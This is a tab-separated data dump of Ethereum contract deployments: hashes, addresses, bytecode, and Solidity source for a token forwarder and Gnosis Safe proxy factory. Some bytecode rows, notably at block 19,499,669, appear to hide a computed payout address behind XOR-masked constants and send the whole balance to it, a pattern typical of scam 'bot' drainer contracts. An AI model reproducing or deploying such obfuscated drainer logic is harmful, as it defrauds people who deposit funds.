memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /* * Contract that will forward any incoming Ether to the creator of the contract * / contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /* * Initialize the contract, and sets the destination address to that of the creator / function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /* * Modifier that will execute internal code block only if the sender is the parent address / modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /* * Modifier that will execute internal code block only if the contract has not been initialized yet / modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /* * Default function; Gets called when data is sent but does not match any other function / fallback() external payable { flush(); } /* * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address / receive() external payable { flush(); } /* * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract / function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /* * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1	19,499,669	19c6ff8d310ccbcaabe3542c7f764b76bf8bb5040aecb7bf37dda64cfda0db2a	6c60148fea35e9b991fd05906c685799e472a53c9f3a76b9839e1b81258bab78	db6fc86f7c79974763a43f20f8d2e5d73f0b2cfd	db6fc86f7c79974763a43f20f8d2e5d73f0b2cfd	6405147ee085bf197c0a9bf9592477be124e917d	6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f8a727dc41d83211e47d3c0deffd12b58dd5875da1c4d6abcdbf6a1e4f5ce442a6007557f8a727dc41d83211e47d3c0de9ac40f2496db00ab0e7104b87eea49a2d63aaf2e6008557f8a727dc41d83211e47d3c0de5f8b7b37c4e4163f5f773f2362872769c349730e60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220610faeb558e88d9ec82c6af9cea4756f539ebc9bb9b2496c30f577c10ff5f0b964736f6c63430008070033	6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220610faeb558e88d9ec82c6af9cea4756f539ebc9bb9b2496c30f577c10ff5f0b964736f6c63430008070033
1	19,499,671	c08f67bce55244ec1d4116255462f5e3bab1a8189bc8b3598f025ca324052f3c	689dd05757e8cb7e6795bd58ba786afddff6356b978e73dccdccb16d0b1bbf65	717c669c5c52c2756ca86515f6d9efcc55488b3f	a6b71e26c5e0845f74c812102ca7114b6a896ab2	7f8e417610730cd0871d1357d0f0177edcb467b7	608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552	608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033	// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1	19,499,677	bcb6e0aeb610f0caba4e912bc0c7b9c146feaadd7e89225e19f7ae86e59c62a1	9332fc8a7dde833f5979e7356761a93c56e30c584b6cdc3ad421822ff2147c4a	3efb123c42196da2cde57703e339e1f41088ef16	a6b71e26c5e0845f74c812102ca7114b6a896ab2	efc6a0a9afd3779daae6af60e7d61976e2891ea7	608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552	608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033	// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1	19,499,677	bcb6e0aeb610f0caba4e912bc0c7b9c146feaadd7e89225e19f7ae86e59c62a1	380060ce225dd909d83a71b2bb7785682419122c387be7d9f270b925589841da	980e2bea1c7e27ea1701c12fd9054752f67a5cc7	a6b71e26c5e0845f74c812102ca7114b6a896ab2	f62a46b5858824ea5e21936a5478025698123d85	608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552	608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033	// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1	19,499,677	bcb6e0aeb610f0caba4e912bc0c7b9c146feaadd7e89225e19f7ae86e59c62a1	c199800350bad69a0f174c2a101f5a60e01ea906e2eedad4b74e32957e9e0610	d0db353ea0a134f9381cdf0e2bce7b4d9816ae25	881d4032abe4188e2237efcd27ab435e81fc6bb1	e756fd8036aed8e3d3cd5be84474dcf2cdadfc34	3d602d80600a3d3981f3363d3d373d3d3d363d7328b5087aa7c0fe6da1005a357e9ddbeb9ca04de25af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7328b5087aa7c0fe6da1005a357e9ddbeb9ca04de25af43d82803e903d91602b57fd5bf3
1	19,499,680	7044a41371f588aecbef03c92b911fafc0581d7dcf623f612cce80fa14f6ca49	fe091000197f9a7130626a659a7d4197d1cf6b8e18f061d92c2fbd9a6e5f0694	45ee9c793db60d942c85f045c28e62eab2e28a24	45ee9c793db60d942c85f045c28e62eab2e28a24	f8be5f2acb074ef2435592c0117985d9efa16353	60806040523480156200001157600080fd5b5060405162000ffb38038062000ffb833981810160405260408110156200003757600080fd5b81019080805160405193929190846401000000008211156200005857600080fd5b838201915060208201858111156200006f57600080fd5b82518660018202830111640100000000821117156200008d57600080fd5b8083526020830192505050908051906020019080838360005b83811015620000c3578082015181840152602081019050620000a6565b50505050905090810190601f168015620000f15780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200011557600080fd5b838201915060208201858111156200012c57600080fd5b82518660018202830111640100000000821117156200014a57600080fd5b8083526020830192505050908051906020019080838360005b838110156200018057808201518184015260208101905062000163565b50505050905090810190601f168015620001ae5780820380516001836020036101000a031916815260200191505b506040525050508160019080519060200190620001cd929190620001ef565b508060009080519060200190620001e6929190620001ef565b5050506200029e565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200023257805160ff191683800117855562000263565b8280016001018555821562000263579182015b828111156200026257825182559160200191906001019062000245565b5b50905062000272919062000276565b5090565b6200029b91905b80821115620002975760008160009055506001016200027d565b5090565b90565b610d4d80620002ae6000396000f3fe6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080f